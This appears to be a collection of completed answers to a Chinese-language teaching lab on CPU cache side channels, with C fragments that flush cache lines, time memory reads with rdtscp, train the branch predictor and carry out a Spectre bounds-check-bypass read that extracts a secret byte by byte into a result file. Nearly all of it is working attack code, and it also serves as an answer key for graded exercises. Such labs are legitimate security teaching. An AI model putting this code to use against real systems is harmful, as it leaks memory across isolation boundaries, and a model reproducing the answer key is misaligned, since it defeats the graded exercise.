// 补全下方代码,完成array[0*4096]至array[9*4096]数据的缓存驱逐
/**************************************************/
for(i=0; i<10; i++)
_mm_clflush(&array[i*4096]);
/**************************************************/
/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据上一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)
// 驱逐缓存Cache,请在下方补充代码,将array[0*4096+DELTA]至array[255*4096+DELTA]等数据从缓存中强制驱逐
/**************************************/
for (i = 0; i < 256; i++)
_mm_clflush(&array[i*4096+DELTA]);
/**************************************/
//请补全并下方代码,获得i*4096 + DELTA位置元素的访问时延,并将小于门限的访问行为判定为缓存命中,按照指定格式输出结果。
for(i = 0; i < 256; i++){
addr = &array[i*4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD){
printf("访问array[%d4096 + %d]元素时发生缓存命中,时延%d.\n", i, DELTA, (int)time2);
printf("秘密值Secret = %d(字符:'%c')。\n", i, i);
fprintf(fp,"秘密值Secret = %d(字符:'%c')。\n" ,i, i);
}
}
/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)
// 请补全下方代码并取消注释,①将victim()函数中分支判断需要的数据'size'从缓存中驱逐,以在后续调用中触发预测执行;②将array数组中i*4096+DELTA处的数据从缓存中驱逐,以便后续reload阶段判断目标数据是否被加载。
// /*******************************************
_mm_clflush(&size);
for (i = 0; i < 256; i++)
_mm_clflush(&array[i*4096+DELTA]);
// ********************************************/
/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)
// 补全下方代码,将上界、下界以及array的数据从缓存中驱逐。
/***********************************************************/
//驱逐上界数据
_mm_clflush(&bound_upper);
//驱逐下界数据
_mm_clflush(&bound_lower);
//驱逐array中的数据
for(i=0;i<256;i++){
_mm_clflush(&array[i*4096+DELTA]);
}
/***********************************************************/
这一关可能会出现测评失败的现象,只需要多提交几次自测运行后再提交就可以了
/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)
//补全下方代码,当每次字符i被命中一次,对应的积分+1
/*************************************/
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD){
scores[i]++;
}
}
/*************************************/
// 补全下方代码,从scores数组中找到最大值,并将其索引值赋值给max
/*************************************/
for(i=0;i<256;i++){
if(scores[i]>scores[max]){
max=i;
}
}
/*************************************/
/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)
//补全下方代码,初始化array数组,并将所有相关数据从缓存中驱逐
/*************************************/
int i;
// 初始化数组,避免Copy-on-Write等优化机制对实验结果产生影响
for (i = 0; i < 256; i++){
array[i*4096 + DELTA] = 1;
}
// 驱逐缓存
for (i = 0; i < 256; i++){
_mm_clflush(&array[i*4096 +DELTA]);
}
/*************************************/
//补全下方代码,完成高速缓存侧信道的Reload步骤,根据缓存命中情况,更新score数组
/*************************************/
int i;
volatile uint8_t *addr;
register uint64_t time1, time2;
int junk = 0;
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD){
scores[i]++;
}
}
/*************************************/
//补全下方代码,针对指定的内存位置,开展Spectre攻击,包括缓存清空、CPU训练、缓存驱逐、预测执行和缓存加载等环节
/*************************************/
int i;
uint8_t s;
volatile int z;
for (i = 0; i < 256; i++) {
_mm_clflush(&array[i*4096 + DELTA]);
}
// 训练CPU,使其在攻击时进入期望的预测分支.
for (i = 0; i < 10; i++) {
get_info_sand_box(i);
}
// 将上界、下界以及array的数据从缓存中驱逐。
_mm_clflush(&bound_upper);
_mm_clflush(&bound_lower);
for (i = 0; i < 256; i++) {
_mm_clflush(&array[i*4096 + DELTA]);
}
for (z = 0; z < 100; z++) { }
// 调用沙箱访问函数,利用预测执行漏洞访问合法内存边界之外的秘密值
s = get_info_sand_box(index_beyond);
if(s!=0){
array[s*4096 + DELTA] += 88;
}
/*************************************/
//补全下方代码,针对敏感信息secret的每个字节,逐个进行提取,每个字节的提取操作执行1000次,并按照指定格式输出提取结果及其积分值(可以包括最优值与次优值,即score最大的值和第二大的值的索引)。
//打印示例:printf("第%d个秘密字符的最优值 \'%c\' (ASCII: %d) 积分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);
/*************************************/
int i;
uint8_t s;
fp=fopen("/home/result.txt","w");
size_t index_beyond = get_addr_offset();
flushSideChannel();
int len = get_secret_len();
int k = 0;
while(--len>=0){
for(i=0;i<256; i++) {
scores[i]=0;
}
for (i = 0; i < 1000; i++) {
spectreAttack(index_beyond+k);
usleep(10);
reloadSideChannelImproved();
}
int max = 0;
int runner_up = 0;
for (i = 0; i < 256; i++){
// printf("%d ", scores[i]);
if(scores[max] < scores[i]) {
max = i;
}
}
for (i = 0; i < 256; i++){
if(scores[runner_up] < scores[i] && i!=max) {
runner_up = i;
}
}
printf("第%d个秘密字符的最优值 '%c' (ASCII: %d) 积分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);
printf("次优值 '%c' (ASCII: %d) 积分:[%d]\n", (runner_up > 31 && runner_up < 127 ? runner_up : '?'),
runner_up, scores[runner_up] );
fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));
k++;
}
/*************************************/